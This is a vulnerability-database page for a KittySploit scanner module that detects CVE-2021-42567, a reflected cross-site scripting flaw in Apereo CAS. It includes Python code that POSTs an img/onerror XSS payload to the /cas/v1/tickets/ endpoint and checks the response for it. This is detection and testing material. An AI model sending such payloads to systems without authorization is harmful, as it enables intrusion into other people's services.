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Apereo CAS Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Apereo CAS allows cross-site scripting via POST requests to the REST API endpoints.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-42567
7 Dec 202122:15
–attackerkb
circl
Circl
CVE-2021-42567
8 Dec 202100:23
–circl
cnnvd
CNNVD
Apereo CAS 跨站脚本漏洞
7 Dec 202100:00
–cnnvd
cnvd
CNVD
Apereo CAS XSS vulnerability
9 Dec 202100:00
–cnvd
cve
CVE
CVE-2021-42567
7 Dec 202121:10
–cve
cvelist
Cvelist
CVE-2021-42567
7 Dec 202121:10
–cvelist
github
Github Security Blog
Cross-site Scripting in Apereo CAS
10 Dec 202120:24
–github
hackerone
Hacker One
U.S. Dept Of Defense: CVE-2021-42567 - Apereo CAS Reflected XSS on https://█████████
11 Jan 202208:50
–hackerone
mend
Mend
CVE-2021-42567
7 Dec 202121:10
–mend
nuclei
Nuclei
Apereo CAS Cross-Site Scripting
14 Oct 202602:05
–nuclei
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apereo CAS through 6."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apereo CAS Cross-Site Scripting Detection',
        'description': 'Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2021', 'cve', 'apereo', 'xss', 'cas', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://apereo.github.io/2021/10/18/restvuln/',
            'https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html',
            'https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-42567',
            'https://github.com/apereo/cas/releases',
        ],
        'cve': 'CVE-2021-42567',
    }

    def run(self):
        path = '/cas/v1/tickets/'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test\n')
        if not r or r.status_code != 401:
            return False
        body = r.text or ""
        body_all = ('<img/src/onerror=alert(document.domain)>', 'java.util.HashMap',)
        if all(m in body for m in body_all):
            self.set_info(severity='medium', reason='Apereo CAS Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.08191
2